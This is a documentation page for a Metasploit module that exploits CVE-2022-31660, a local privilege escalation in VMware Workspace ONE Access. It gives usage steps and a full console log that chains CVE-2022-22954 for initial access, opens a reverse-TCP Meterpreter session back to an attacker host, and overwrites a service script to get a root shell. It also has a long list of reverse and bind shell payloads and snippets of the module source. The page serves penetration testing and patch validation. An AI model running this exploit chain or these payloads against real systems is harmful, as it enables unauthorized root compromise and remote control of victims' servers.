VMware Workspace ONE Access CVE-2022-31660 - Metasploit
This page contains detailed information about how to use the exploit/linux/local/vmware_workspace_one_access_certproxy_lpe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: VMware Workspace ONE Access CVE-2022-31660
Module: exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
Source code: modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb
Disclosure date: 2022-08-02
Last modification time: 2022-08-03 17:45:06 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-31660
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-service-down: Module may crash the service, and the service remains down.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
msf exploit(vmware_workspace_one_access_certproxy_lpe) > show targets
... a list of targets ...
msf exploit(vmware_workspace_one_access_certproxy_lpe) > set TARGET target-id
msf exploit(vmware_workspace_one_access_certproxy_lpe) > show options
... show and set options ...
msf exploit(vmware_workspace_one_access_certproxy_lpe) > set SESSION session-id
msf exploit(vmware_workspace_one_access_certproxy_lpe) > exploit
Required Options
- SESSION: The session to run this module on
Knowledge Base
Vulnerable Application
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.
Setup
To exploit this vulnerability in conjunction with CVE-2022-22954, follow Installing and Configuring VMware Workspace ONE Access or simply import the OVA into a VMware hypervisor. The target should be vulnerable to both vulnerabilities out of the box.
The HW-150533, HW-154129, and HW-156875 patches may be optionally applied. In this case, a session will need to be
opened by some means to the appliance as the horizon user in order to be exploitable. This is most easily accomplished
by resetting the root password, logging in locally, and then configuring SSH. Patches can be obtained from VMware's
Website. Steps to reset the root password are available [here].
Verification Steps
- Setup a vulnerable VMware instance (see the steps above).
- Start msfconsole.
- Obtain a session on the vulnerable instance.
- It is recommend to use either
exploit/linux/http/vmware_workspace_one_access_cve_2022_22954if the target is vulnerable to it or, alternatively,exploit/multi/ssh/sshexec.
- It is recommend to use either
- Do:
set SESSION -1 - Optionally set the PAYLOAD and related options.
- Do:
run - If the target is vulnerable, the payload should be executed.
Scenarios
VMware Workspace ONE Access 21.08.0.1
In the following scenario, initial access is gained by first exploiting CVE-2022-22954. Once the session is opened, it is elevated to root by exploiting CVE-2022-31660.
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options
Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.98 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/vmware_workspace_one_access_certproxy_lpe exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > show info
Name: VMware Workspace ONE Access CVE-2022-31660
Module: exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
Platform: Linux, Unix
Arch: cmd, x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-08-02
Provided by:
Spencer McIntyre
Module side effects:
artifacts-on-disk
Module stability:
crash-service-down
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload information:
Description:
VMware Workspace ONE Access contains a vulnerability whereby the
horizon user can escalate their privileges to those of the root user
by modifying a file and then restarting the vmware-certproxy service
which invokes it. The service control is permitted via the sudo
configuration without a password.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-31660
https://www.vmware.com/security/advisories/VMSA-2022-0021.html
Module Options
This is a complete list of options available in the linux/local/vmware_workspace_one_access_certproxy_lpe exploit:
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > show options
Module options (exploit/linux/local/vmware_workspace_one_access_certproxy_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.126 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/local/vmware_workspace_one_access_certproxy_lpe exploit:
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > show advanced
Module advanced options (exploit/linux/local/vmware_workspace_one_access_certproxy_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false no Enable debugging for the Python meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-
framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy
but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/vmware_workspace_one_access_certproxy_lpe module can exploit:
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/vmware_workspace_one_access_certproxy_lpe exploit:
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
21 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
22 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
23 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
26 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
27 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
28 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
29 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
30 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
31 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
32 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
33 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
35 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
36 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
37 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
38 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
39 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
40 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
42 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
43 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
44 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
45 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
46 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
47 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
48 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
49 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
50 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
51 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
52 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
53 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
54 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
55 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
56 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
57 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
58 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
59 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
60 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
61 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
62 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
63 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
64 payload/cmd/windows/powershell/generic/debug_trap normal No Powershell Exec, Generic x86 Debug Trap
65 payload/cmd/windows/powershell/generic/tight_loop normal No Powershell Exec, Generic x86 Tight Loop
66 payload/generic/custom normal No Custom Payload
67 payload/generic/debug_trap normal No Generic x86 Debug Trap
68 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
69 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
70 payload/generic/ssh/interact normal No Interact with Established SSH Connection
71 payload/generic/tight_loop normal No Generic x86 Tight Loop
72 payload/linux/x64/exec normal No Linux Execute Command
73 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
74 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
75 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
76 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
77 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
78 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
79 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
80 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
81 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
82 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
83 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
84 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
85 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
86 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
87 payload/linux/x86/adduser normal No Linux Add User
88 payload/linux/x86/chmod normal No Linux Chmod
89 payload/linux/x86/exec normal No Linux Execute Command
90 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
91 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
92 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
93 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
94 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
95 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
96 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
97 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
98 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
99 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
100 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
101 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
102 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
103 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
104 payload/linux/x86/read_file normal No Linux Read File
105 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
106 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
107 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
108 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
109 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
110 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
111 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
112 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
113 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
114 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
115 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
116 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
117 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
118 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/vmware_workspace_one_access_certproxy_lpe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Not running as the horizon user.
Here is a relevant code snippet related to the "Not running as the horizon user." error message:
73: cmd_exec("sudo --non-interactive #{arguments}")
74: end
75:
76: def check
77: unless whoami == 'horizon'
78: return CheckCode::Safe('Not running as the horizon user.')
79: end
80:
81: token = Rex::Text.rand_text_alpha(10)
82: unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
83: return CheckCode::Safe('Cannot invoke the service control script with sudo.')
Cannot invoke the service control script with sudo.
Here is a relevant code snippet related to the "Cannot invoke the service control script with sudo." error message:
78: return CheckCode::Safe('Not running as the horizon user.')
79: end
80:
81: token = Rex::Text.rand_text_alpha(10)
82: unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
83: return CheckCode::Safe('Cannot invoke the service control script with sudo.')
84: end
85:
86: unless writable?(TARGET_FILE)
87: return CheckCode::Safe('Cannot write to the service file.')
88: end
Cannot write to the service file.
Here is a relevant code snippet related to the "Cannot write to the service file." error message:
82: unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
83: return CheckCode::Safe('Cannot invoke the service control script with sudo.')
84: end
85:
86: unless writable?(TARGET_FILE)
87: return CheckCode::Safe('Cannot write to the service file.')
88: end
89:
90: CheckCode::Appears
91: end
92:
Go back to menu.
Related Pull Requests
References
See Also
Check also the following modules related to this module:
- exploit/linux/local/vmware_alsa_config
- exploit/linux/local/vmware_mount
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/http/vmware_vcenter_analytics_file_upload
- exploit/linux/http/vmware_vcenter_vsan_health_rce
- exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce
- exploit/linux/http/vmware_vrops_mgr_ssrf_rce
- exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
- exploit/linux/ssh/vmware_vdp_known_privkey
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- auxiliary/gather/vmware_vcenter_vmdir_ldap
- auxiliary/scanner/vmware/vmware_enum_permissions
- auxiliary/scanner/vmware/vmware_enum_sessions
- auxiliary/scanner/vmware/vmware_enum_users
- auxiliary/scanner/vmware/vmware_enum_vms
- auxiliary/scanner/vmware/vmware_host_details
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/vmware/vmware_screenshot_stealer
- auxiliary/scanner/vmware/vmware_server_dir_trav
- auxiliary/scanner/vmware/vmware_update_manager_traversal
- exploit/multi/http/vmware_vcenter_log4shell
- exploit/multi/http/vmware_vcenter_uploadova_rce
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- exploit/windows/http/vmware_vcenter_chargeback_upload
- auxiliary/admin/vmware/poweroff_vm
- auxiliary/admin/vmware/poweron_vm
- auxiliary/admin/vmware/tag_vm
- auxiliary/admin/vmware/terminate_esx_sessions
- auxiliary/admin/vmware/vcenter_forge_saml_token
- auxiliary/admin/vmware/vcenter_offline_mdb_extract
- auxiliary/scanner/vmware/esx_fingerprint
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmauthd_version
Authors
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
